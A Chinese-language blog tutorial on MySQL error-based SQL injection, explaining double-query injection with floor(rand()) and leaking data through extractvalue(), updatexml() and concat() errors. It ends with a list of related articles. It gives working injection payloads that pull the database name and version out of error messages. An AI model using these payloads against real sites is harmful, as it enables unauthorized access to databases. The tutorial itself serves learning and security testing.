Error Based Injection和sql注入函数
Error Based Injection和sql注入函数
文章目录
- Error Based Injection和sql注入函数
- 一、什么是Error Based Injection
- 二、extractvalue()
- 三、updatexml()
- 四、concat()
- 五、附录
一、什么是Error Based Injection
Error Based Injection是sql注入的一种,就像中文意思表述的一样是基于错误的注入。可以从两个层次去理解它:一是寻找注入点的方式,是通过构造恶意输入引发数据报错;二是在回显受到限制的时候,可以通过构造特定的报错来获取数据库中的特定数据。
1、 利用回显的报错注入
这个过程也是不断尝试,进行猜测目标数据库的基本信息和sql语句构造的形式。
可以进行"单引号"、“1 and 1=1”、“1’ and 1=1’”、“双引号”,根据回显错误来判断。
2、 利用报错信息的报错注入
双查询注入,就是在查询中再套一个子查询。而双查询注入就是在通过双查询语句精心构造一些报错,这些报错信息将泄漏数据库数据。
1) 函数rand()产生一个[0,1)之间的随机数
2) 函数floor()的作用是取整
3) 函数count()用于计数
双查询注入的巧妙的地方就是floor(rand()*2))产生的数只可能是0或1,而且会在插入前和插入时被执行两次,并且两次结果可能不同也可能相同。
?id=1' union select -1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- -
如果两次的键值一样,就产生的重复的键值,而报错信息会告诉我们哪个键值重复,也就泄露了我们所想要的信息。
但是,由于随机性如果运气不好,可能要多试几次才能得到理想报错。
3、 利用函数构造报错
这种方式灵活方便,如下介绍几个函数。
二、extractvalue()
extractvalue()是对XML文档进行查询的函数,类似于HTML中使用各种标签查找元素,比如<div><a></a></div>
等,函数接收两个参数,第一个为目标xml文档,第二个参数是xml的路径。
语法:extractvalue(目标xml文档,xml路径)
其中第二个参数xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/
这种格式。当我们写入其他格式时就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容恰好就是我们想要查询的内容。
比如
正常查询:
select truename from wz_admin where uid=1 and (extractvalue('everything','/xs/xx'))
如下图所示,sql语句正常执行,无任何报错。
异常查询:
select truename from wz_admin where uid=1 and (extractvalue('everything','select database()'))
如下图所示,sql语句正常执行,无任何报错。
接下来巧用concat()函数,来获取所需要查询的内容。concat()函数下面进行介绍。
select truename from wz_admin where uid=1 and (extractvalue('everything',concat('!',(select database()))))
如下图所示,由于以!开头的不是XML格式的语法,sql语句执行异常报错,而报错后进行了异常回显,并且执行了拼接的第二个()的参数,如此可以进行信息获取,达到目的。
还可以进行拼接
select truename from wz_admin where uid=1 and (extractvalue('everything',concat('!',(select database()),(select version()))))
注意:
extractvalue()能查询字符串的最大长度为32,也就是说如果我们想要的结果长度超过32,就需要用substring()函数截取,一次查看32位。
select truename from wz_admin where uid=1 and (extractvalue('everything',concat('!',substring(hex((select database())),1,30))))
三、updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。第一个参数XML_document是String格式,为XML文档对象的名称,
第二个参数XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程,第三个参数new_value,String格式,替换查找到的符合条件的数据。
语法
UPDATEXML(XML_document, XPath_string, new_value)
UPDATEXML(目标xml文档,xml路径,更新的内容)
比如
正常查询:
select truename from wz_admin where uid=1 and (updatexml('everything','/xx/xx','everything'))
如下图所示,sql语句正常执行,无任何报错。
异常查询:
select truename from wz_admin where uid=1 and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))
如下图所示,得到所需要的版本信息。
其他方式同理。
四、concat()
concat()函数是拼接多个字符串为一个字符串的函数,返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。注入中常用于可获取信息的字段进行拼接。
语法
concat(str1, str2,…)
select concat('first','second')
五、附录
参考链接:
https://zhuanlan.zhihu.com/p/74907340
https://blog.csdn.net/zpy1998zpy/article/details/80631036
https://www.jb51.net/article/125599.htm
https://www.jb51.net/article/125607.htm
Error Based Injection和sql注入函数相关推荐
- php 自带sql防注入函数,php 防Sql注入函数的简单示例
这篇文章主要为大家详细介绍了php 防Sql注入函数的简单示例,具有一定的参考价值,可以用来参考一下. 传入用户提交的参数时使用这段代码提供的函数先对参数进行处理,然后传入sql语句, 用: mysq ...
- php 防止注入函数,php 防止SQL注入函数
function inject_check($sql_str) { return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/ ...
- SQL Injection(SQL注入)
SQL Injection SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常会导致整个数据库被" ...
- DVWA靶场SQL Injection(SQL注入)
目录 一.有回显的SQL注入过程 二.Low 三.Medium 四. High 五.Impossible 一.有回显的SQL注入过程 1.找到注入点: 2.通过回显找到闭合方式: 3.使用order ...
- SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具
1.关于SQL Injection 迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛 ...
- mysql服务攻击检测_SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具
1.关于SQL Injection迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛砖 ...
- mybatis以及预编译如何防止SQL注入
SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者).[摘自] SQL injection - Wikipedia SQL ...
- mysql防注入原理_MyBatis如何防止SQL注入
MyBatis如何防止SQL注入 SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者).[摘自] SQL injectio ...
- DVWA靶场通关(SQL注入)
SQL Injection(SQL注入)概念 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意 ...
- PHP中SQL注入与跨站攻击的防范
SQL injection即SQL注入是我们每个WEB程序员都需要面对的问题,一个WEB应用假如没有起码的安全性,那么其它的一切就可以免谈了.注入问题在ASP上可谓是闹得沸沸扬扬,当然还有不少PHP程 ...
最新文章
- junit--eclipse插件
- JSP 中使用Struts2的值
- 任意门怎么用团发_衣柜门选用什么材料好?小编在这里告诉你
- 任性!特斯拉又涨价了 Model S、Model X国内售价上调
- 中国操作系统变迁史,鸿蒙之前的尸骨
- 与卿共赴鸿蒙是什么意思,经典的爱情诗句
- 中国搜索20年:巨头百度的兴衰密码
- 【洞幺邦】基于python的咖啡店的销售额
- Game of Thrones : 权利的游戏
- 嵌入式工程师的日常是啥样的?就业现状如何?
- ADS设计不等分功分器
- 5G 频段 频率与Band对应表
- Elasticsearch:运用 Java 创建索引并写入数据
- MySQL数据操作与查询笔记 • 【第7章 连接查询】
- 对抗熵增 耗散结构 个人成长
- Python 《Hamlet》哈姆雷特英文词频统计
- 路由器显示不安全网络连接到服务器地址,wifi显示不安全网络怎么解决?
- 数据预处理 第3篇:数据预处理(使用插补法处理缺失值)
- 《软件方法》第六章 自测题
- XML文件的解析方式
热门文章
- AWS——API Gateway
- 汉字转拼音多音字java_汉字转拼音多音字解决方案 搜索引擎分词细胞词库更新 搜狗词库提取TXT PHP高性能输出UNICODE正则汉字列表...
- php文字滚动特效,js文字横向滚动特效_javascript技巧
- flex:1 代表了什么意思
- flex:1代表什么意思
- Chrome断点JS寻找淘宝签名sign
- 实现div元素在整个屏幕的的垂直居中之translateY(-50%)的利用
- jsp中页面间传汉字参数转码的方法
- ★用辩证数学解答“缸中之脑”
- Origin画法——简单的分布图画法